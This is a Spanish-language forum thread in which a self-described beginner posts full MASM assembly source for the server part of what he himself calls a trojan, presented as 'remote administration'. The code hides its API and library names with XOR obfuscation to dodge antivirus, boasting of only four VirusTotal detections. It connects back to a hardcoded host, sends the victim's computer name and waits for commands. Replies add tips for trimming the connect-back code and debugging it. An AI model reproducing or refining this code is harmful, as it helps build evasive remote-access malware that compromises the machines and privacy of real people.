Buenas amigos del foro!! Hoy ando regalon...
Como el foro casi siempre me supo responder mis preguntas, hoy voy a colaborar yo... voy a aclarar que soy nuevo en asm, y quizas el codigo no es el mejor, pero lo voy a compartir, asi que no sean crueles jajaja
Bueno, en un principio no queria exponerlo, pero como me decidi a hacer diferente mi aplicacion de "administracion remota" lo voy a poner aca...
Lo probe con virustotal y asi como esta tiene 4 detecciones:
VBA32 Malware-Cryptor.Win32.Allblock
Norman Crypt.AWHI
F-Prot W32/Threat-HLLSI-based!Maximus
Commtouch W32/Threat-HLLSI-based!Maximus
Aclaro que, a lo mejor ven alguna rutina que han visto en Internet, eso se debe a que he investigado muchísimo, (no se olviden que soy nuevo, y bueno.. así se aprende... ) y no he encontrado otra forma mejor de implementarlas, por eso son iguales,, las iba a cambiar, pero como voy a empezar otro troyano, este lo dejo como esta..
Sin mas que decir:
.386
.model flat, stdcall
option casemap:none
include Servidor.inc
bufSize = MAX_COMPUTERNAME_LENGTH + 1 ;Tamaño maximo del nombre del pc
.data
Ip db "127.0.0.1",0 ;Direccion remota
Port dd 8888 ;Puerto remoto
Ver dd 2.2 ;Version de WinSck
wsa WSADATA <> ;Estructura WSAData
sa sockaddr_in <> ;Estructura de sockaddr_in
Titulo db "Titulo de pruebas", 0
Saludo db "CONNECT|%s0", 0 ;Saludo de conexion
;************************************************************
; Librerias
Ws2 db "Pt5X45)ckk", 0 ;Ws2
U32 db "Rtbu45)ckk", 0 ;User32
Kn32 db "Lbuibk45)ckk", 0 ;Kernel
; Socket
FunW db "PTFTsfusrw", 0 ;WSAStart
FunZ db "PTFDkbfirw", 0 ;WSAClean
FunS db "thdlbs", 0 ;socket
FunI db "nibsXfccu", 0 ;inet_addr
FunH db "oshit", 0 ;htons
FunC db "dhiibds", 0 ;connect
FunV db "ubdq", 0 ;recv
FunO db "dkhtbthdlbs", 0 ;closesocket
FunN db "tbic", 0 ;send
; Funciones del programa
FunM db "Jbttf`bEhF", 0 ;MessageBoxA
FunE db "BnsWuhdbtt", 0 ;ExitProcess
; Datos del Pc
FunG db "@bsDhjwrsbuIfjbF", 0 ;GetComputerNameA
FunP db "ptwunisaF", 0 ;wsprintfA
; Carga dinamica de Apis
FunL db "KhfcKneufu~F", 0 ;LoadLibraryA
FunT db "@bsWuhdFccubtt", 0 ;GetProcAddress
;************************************************************
;******** CP NAME ***********
buffer db 100 dup(?) ;Buffer para guardar el nombre del pc
bSize dd bufSize ;Tamaño para el nombre del pc
getName db bufSize dup(?) ;Necesario para GetComputerNameA
;****************************
.data?
Sock dd ? ;Socket
Buffer db 512 dup(?) ;Buffer para recv
Hand dd ? ;Handle de funcion dinamica
LoadL dd ? ;Handle de LoadLibraryA
GetP dd ? ;Handle de GetProcAddress
.const
WM_SOCK equ WM_USER + 100
SOCK_STRAM equ 1
.code
Inicio:
jmp Mentira
Inicio2:
invoke Llamar, addr Ws2, addr FunW ;WSAStart
push offset [wsa]
push offset [Ver]
call Hand
.IF eax!=NULL
invoke Llamar, addr Kn32, addr FunE
push 0
call Hand
.ENDIF
invoke Llamar, addr Ws2, addr FunS ;socket
push 0
push SOCK_STRAM
push AF_INET
call Hand
.IF eax==INVALID_SOCKET
invoke Llamar, addr Kn32, addr FunE
push 0
call Hand
.ENDIF
mov Sock, eax
mov sa.sin_family, AF_INET
invoke Llamar, addr Ws2, addr FunI ;inet_addr
push offset [Ip]
call Hand
mov sa.sin_addr, eax
invoke Llamar, addr Ws2, addr FunH ;htons
push Port
call Hand
mov sa.sin_port, ax
Conn:
invoke Llamar, addr Ws2, addr FunC ;connect
push sizeof sa
push offset [sa]
push Sock
call Hand
cmp eax, 0
jne Conn
;**********************************************
; GetComputerName
;**********************************************
invoke Llamar, addr Kn32, addr FunG ;GetComputerNameA
push offset [bSize]
push offset [getName]
call Hand
invoke Llamar, addr U32, addr FunP ;wsprintfA
push offset [getName]
push offset [Saludo]
push offset [buffer]
call Hand
invoke Llamar, addr Ws2, addr FunN ;send
push 0
push sizeof buffer
push offset [buffer]
push Sock
call Hand
;**********************************************
Recv:
invoke Llamar, addr Ws2, addr FunV ;recv
push 0
push sizeof Buffer
push offset [Buffer]
push Sock
call Hand
cmp eax, -1
je Recon
invoke Llamar, addr U32, addr FunM ;MessageBoxA
push MB_OK
push offset [Titulo]
push offset [Buffer]
push 0
call Hand
jmp Recv
Recon:
invoke Llamar, addr Ws2, addr FunO ;closesocket
push Sock
call Hand
invoke Llamar, addr Ws2, addr FunZ ;WSAClean
call Hand
jmp Inicio2
Clse:
invoke Llamar, addr Ws2, addr FunO ;closesocket
push Sock
call Hand
invoke Llamar, addr Ws2, addr FunZ ;WSAClean
call Hand
invoke Llamar, addr Kn32, addr FunE ;ExitProcess
push 0
call Hand
Dinamic proc Libreria:DWORD, Funcion:DWORD
push Libreria
call LoadLibrary
push Funcion
push eax
call GetProcAddress
ret
Dinamic endp
Llamar proc Lib:DWORD, Fun:DWORD
push [Lib]
call LoadL
push [Fun]
push eax
call GetP
mov Hand, eax
ret
Llamar endp
Decript proc Funcion:DWORD
xor ecx,ecx
mov eax, [Funcion]
bucle:
cmp byte ptr ds: [eax + ecx], 0
je salir
xor byte ptr ds:[eax + ecx], 7
inc ecx
jmp bucle
salir:
ret
Decript endp
Mentira:
invoke Decript, addr U32 ;User32 -
invoke Decript, addr Kn32 ;Kernel32 - APIS
invoke Decript, addr Ws2 ;WinSock -
invoke Decript, addr FunL ;LoadLibraryA - DINAMICAS
invoke Decript, addr FunT ;GetProcaddress -
invoke Decript, addr FunW ;WsaStartup -
invoke Decript, addr FunZ ;WsaClean -
invoke Decript, addr FunS ;socket -
invoke Decript, addr FunI ;inet_addr -
invoke Decript, addr FunH ;htoons - SOCKET
invoke Decript, addr FunC ;connect -
invoke Decript, addr FunN ;send -
invoke Decript, addr FunV ;recv -
invoke Decript, addr FunO ;closesocket -
invoke Decript, addr FunM ;MessageboxA -
invoke Decript, addr FunE ;ExitProcess - GENERALES
invoke Decript, addr FunP ;wsprintfA -
invoke Decript, addr FunG
;*********************************************
; Obtengo Direccion de Getproc y LoadLib
;*********************************************
push offset [FunL]
push offset [Kn32]
call Dinamic
mov LoadL, eax
push offset [FunT]
push offset [Kn32]
call Dinamic
mov GetP, eax
;*********************************************
jmp Inicio2
end Inicio
Bueno, ahi esta...
Si alguien quiere colaborar con ideas, opiniones y demais, yo muy agradecido..
Saludos!
Hola
Estas en ASM te podrias ahorrar las funciones inet_addr y htons investiga un poco.
Un saludo y felicidades.
Cita de: cpu2 en 16 Mayo 2013, 14:58 PM
Hola
Estas en ASM te podrias ahorrar las funciones inet_addr y htons investiga un poco.
Un saludo y felicidades.
En cuanto a htons sólo se me ocurre que se podría hacer un bswap. Cómo se podría ahorrar el uso de estas dos funciones?
Pues cargando los bytes directamente en la pila.
push 0x0100007f
push 0xb8220200
Así no tienes que utilizar esas funciones.
Un saludo.
P.D: Cualquier duda pregunta.
Hola colegas! No se me habia ocurrido ese tipo de ventaja,, es muy buena...
Gracias por comentar!
Saludos!
Cita de: cpu2 en 16 Mayo 2013, 16:16 PM
Pues cargando los bytes directamente en la pila.
push 0x0100007f
push 0xb8220200
Así no tienes que utilizar esas funciones.
Un saludo.
P.D: Cualquier duda pregunta.
Y qué valores cargas en la pila? En el caso de htons, el número del puerto con el endianess ajustado al de la red, pero y en el de inet_addr?
El de inet_addr es el primer push.
Creo que también podria utilizar INADDR_LOOPBACK que esta definida en la cabezera in.h, pero creo que eso es más para sistema Posix.
Un saludo.
Bueno, me estoy perdiendo un poco, tendré que averiguar que es el Posix...
Yo calcule abrir el olly, ver que ponía la función inet_addr y copy-pase... despues de todo, la direccion ip va a ser siempre la mia, como una constante.. asi que deberia ser siempre lo mismo... no ?
msdn:
The inet_addr function converts a string containing an IPv4 dotted-decimal address into a proper address for the IN_ADDR structure.
Luego de averiguar con el olly el resultado de la funcion, le pongo el valor directo dentro de sa.sin_addr y gol! :D
Cita de: cpu2 en 16 Mayo 2013, 20:52 PM
El de inet_addr es el primer push.
Creo que también podria utilizar INADDR_LOOPBACK que esta definida en la cabezera in.h, pero creo que eso es más para sistema Posix.
Un saludo.
Ok, ya lo comprendo, gracias!
Buenas señores! Primero que nada, perdon por volver a escribir en este post, pero no daba para empezar otro hilo.. ( me parece )
Estoy teniendo problemas para hacer el push de htoons y inet..
INET equ 0100007fh
HTOONS equ 0b8220200h
Y luego
ThreadProc PROC
invoke WSAStartup, addr Ver, addr wsa
invoke socket, AF_INET, SOCK_STREAM, 0
mov sock, eax
invoke WSAAsyncSelect, sock, hwnd, WM_SOCK, FD_CONNECT or FD_CLOSE or FD_READ
mov sa.sin_family, AF_INET
;invoke inet_addr, addr szIp
;mov sa.sin_addr, eax
;Pusheo el valor de Inet
mov sa.sin_addr, INET
push INET
;invoke htons, port
;mov sa.sin_port, ax
;Pusheo el valor de Htoons
mov ax, HTOONS
push HTOONS
invoke connect, sock, addr sa, sizeof sa
ret
ThreadProc ENDP
El problema es que cuando lo ejecuto funciona, pero me empieza a abrir este proceso: vsjitdebugger.exe infinitas veces, hasta que supongo yo, colapse la memoria :-\
Que puede estar pasando ? tendira que sacar de la pila despues que pusheo ?
Gracias por leer !!
Cita de: Vaagish en 28 Mayo 2013, 07:26 AM
INET equ 0100007fh
HTOONS equ 0b8220200h
Para que declaras eso? si vas a cargar directamente los valores en la pila.
El de htons esta mal, solo es 0xb822, 0x2 es el valor de AF_INET y el 0x00 es el valor que pones al miembro sin_len de la estructura sockaddr_in, que no existe por lo que veo en windows me confundí pensaba que era como unix-like, linux etc...
MSDN:
struct sockaddr_in{
short sin_family; <- 0x2 1byte
unsigned short sin_port; <- 0xb822 2 bytes
struct in_addr sin_addr; <- 0x0100007f 4 bytes
char sin_zero[8]; no es necesario.
};
push 0x00010000
push 0x7fb82202
mov rsi, rsp
Sería en mi caso, muevo la dirección de la estructura sockaddr_in al 2 arg, tú la tendrías que copiar a addr, por lo que veo en esos invoke, o "pushear" y luego hacer un call que es lo que hace ese invoke si no me equivoco.
Haciendo eso creo que podrías tener problemas con el ret, incrementa el stack luego de copiar la estructura a addr por el valor sustraído, ya sabes cual es.
mov sa.sin_addr, INET
push INET
mov ax, HTOONS
push HTOONS
Eso no es lógico, creo que haces cosas que no entiendes.
Un saludo.
Gracias cpu2! Ahora lo intentare !!
las constantes las declare para no escibir una y otra vez los valores mientras probaba como hacer funcionar esto que explicas con tanta naturalidad jajaja
por otro lado,, es verdad, aun no domino el arte de los registros y el stack...hay cosas que aun no se :-\ pero mi experiencia dice: "Hacer y entender" ( Aunque un libro tampoco estaria mal en asm ) jajajaja Igual, juro que he leido! ( Hace 2 meses siquiera pensaba en programar en asm... )
Saludos!